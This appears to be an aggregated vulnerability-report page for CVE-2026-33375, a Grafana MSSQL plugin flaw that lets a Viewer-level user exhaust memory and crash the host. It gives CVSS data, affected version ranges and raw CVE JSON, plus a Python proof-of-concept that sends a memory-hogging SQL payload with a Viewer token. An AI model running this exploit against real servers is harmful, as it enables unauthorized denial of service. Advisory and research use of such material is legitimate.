Security Vulnerability Report
中文
CVE-2026-33375 CVSS 6.5 MEDIUM

CVE-2026-33375

Published: 2026-03-26 21:17:06
Last Modified: 2026-03-31 19:01:31

Description

The Grafana MSSQL data source plugin contains a logic flaw that allows a low-privileged user (Viewer) to bypass API restrictions and trigger a catastrophic Out-Of-Memory (OOM) memory exhaustion, crashing the host container.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
Grafana MSSQL 数据源插件 < 具体受影响版本请参考官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-grafana:3000/api/datasources/proxy/uid/{datasource_uid}" viewer_token = "eyJrIjoi..." # Low-privilege Viewer token # Malicious payload designed to exhaust memory # Exploits the logic flaw to bypass API restrictions payload = { "rawSql": "SELECT REPLICATE(CAST('A' AS VARCHAR(MAX)), 10000000) AS MemoryHog", "format": "json" } headers = { "Authorization": f"Bearer {viewer_token}", "Content-Type": "application/json" } def trigger_oom(): print("[*] Attempting to trigger OOM on Grafana MSSQL plugin...") try: # Send request that bypasses restrictions and allocates massive memory response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully, check host for crash/OOM.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_oom()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33375", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:05.573", "lastModified": "2026-03-31T19:01:30.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Grafana MSSQL data source plugin contains a logic flaw that allows a low-privileged user (Viewer) to bypass API restrictions and trigger a catastrophic Out-Of-Memory (OOM) memory exhaustion, crashing the host container."}, {"lang": "es", "value": "El plugin de fuente de datos de Grafana MSSQL contiene un fallo lógico que permite a un usuario con pocos privilegios (Visor) eludir las restricciones de la API y desencadenar un agotamiento catastrófico de la memoria por Out-Of-Memory (OOM), lo que provoca la caída del contenedor anfitrión."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "11.6.0", "versionEndExcluding": "11.6.14", "matchCriteriaId": "D46EB6A0-D0D1-4209-B7B5-3BACD4ADAF9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.10", "matchCriteriaId": "C0016311-847E-438D-A1C7-B03005867EAF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.2.0", "versionEndExcluding": "12.2.8", "matchCriteriaId": "96AAB185-6025-4B8F-A07E-CABD00DDC295"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.3.0", "versionEndExcluding": "12.3.6", "matchCriteriaId": "581CC6E2-4E52-4E13-804B-8D944BA03D15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.4.0", "versionEndExcluding": "12.4.2", "matchCriteriaId": "A699040D-CF1F-474F-A01D-49C6E62C026B"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-33375", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}